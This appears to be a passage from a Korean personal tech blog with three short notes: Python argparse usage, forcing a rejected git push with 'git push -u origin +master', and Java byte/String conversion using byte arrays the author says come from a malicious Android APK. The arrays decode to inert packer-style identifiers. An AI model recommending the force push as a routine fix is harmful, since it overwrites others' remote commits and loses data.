add_argmuent를 통해 받은 옵션 명을 명시해주고, help에 설명 부분을 넣어줄 수 있습니다.

argparse Option 동작 구간 설정

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--type", help="type options values..zz")
args = parser.parse_args()
if args.type:

if 문을 통해서 입력받은 값에 대해 처리할 수 있습니다.
아래 부분에 보면 args.type 값을 보고 값이 있으면 처리하고, 없으면 어떻게 처리할 것인지 지정이 가능합니다.

pydoc에서 정의된 ArgumentParse Object들은 아래와 같습니다.

  • prog - The name of the program (default: sys.argv[0])
  • usage - The string describing the program usage (default: generated from arguments added to parser)
  • description - Text to display before the argument help (default: none)
  • epilog - Text to display after the argument help (default: none)
  • parents - A list of ArgumentParser objects whose arguments should also be included
  • formatter_class - A class for customizing the help output
  • prefix_chars - The set of characters that prefix optional arguments (default: ‘-‘)
  • fromfile_prefix_chars - The set of characters that prefix files from which additional arguments should be read (default: None)
  • argument_default - The global default value for arguments (default: None)
  • conflict_handler - The strategy for resolving conflicting optionals (usually unnecessary)
  • add_help - Add a -h/–help option to the parser (default: True)
  • allow_abbrev - Allows long options to be abbreviated if the abbreviation is unambiguous. (default: True)


Share: | Coffee Me:

[CODING] GIT에서 강제로 Push 하기 / push 에러 해결하기 ( error: failed to push some refs to )

git을 활용하여 개발 중 push 시 에러가 발생하는 문제가 발생하였습니다.
해당 부분은 데이터 유실 등 문제가 있을 수 있는 부분이 있어 git 에서 처리되지 않돌독 되어있어 에러가 발생합니다.

HAHWUL #> git push -u origin master
To https://github.com/hahwul/a2sv.git
 ! [rejected]        master -> master (non-fast-forward)
error: failed to push some refs to 'https://github.com/hahwul/a2sv.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Merge the remote changes (e.g. 'git pull')
hint: before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.

실제 에러가 발생하는 부분을 고칠수도 있지만 임시 방편으로 "+" 를 이용하여 해결이 가능합니다.

아래와 같이 강제로 push 를 진행하게 되면 에러 상관없이 강제로 Push 하게 되어 이슈를 넘어갈 수 있습니다.
[물론 임시 방편입니다.]

기존명령:  HaHwul #> git push -u origin master
강제명령:  HaHwul #> git push -u origin +master

강제적으로 push 가 됨을 확인할 수 있다.

HAHWUL #> git push -u origin +master
Counting objects: 8, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (7/7), done.
Writing objects: 100% (8/8), 10.01 KiB, done.
Total 8 (delta 0), reused 0 (delta 0)
To https://github.com/hahwul/a2sv.git
 + 17b669e...877fdd0 master -> master (forced update)
Branch master set up to track remote branch master from origin.
Share: | Coffee Me:


[JAVA] Byte to String / String to Byte (자바 Byte 형 변환)

메모삼아 작성합니다. Java에서 String 형을 Byte 로 변환하거나 Byte 를 String 으로 변환하는 메소드입니다.
간단하지만 악성APK에서 byte 형태로 데이터를 가지고 있다가 기능 확장 시 사용했었네요.

String to Byte(str => byte)


str.getBytes()  => str의 byte 값
getBytes(str) => str의 byte 값

Byte to String(byte => str)


byte[] a = { 112, 114, 111, 116, 101, 99, 116, 46, 97, 112, 107 };

Testing Code

public class main {

 public static void main(String[] args) {

    byte[] a = { 112, 114, 111, 116, 101, 99, 116, 46, 97, 112, 107 };
    byte[] b = { 99, 97, 99, 104, 101 };
    byte[] i = { 65, 80, 80, 76, 73, 67, 65, 84, 73, 79, 78, 95, 67, 76, 65, 83, 83, 95, 78, 65, 77, 69 };
    byte[] j = { 47, 100, 97, 116, 97, 47, 100, 97, 116, 97, 47 };
    byte[] arrayOfByte1 = { 109, 66, 111, 117, 110, 100, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110 };
    byte[] arrayOfByte2 = { 109, 65, 108, 108, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115 };
  //  System.out.println(c.toString());
  //  System.out.println(i.toString());
  //  System.out.println(j.toString());







Share: | Coffee Me: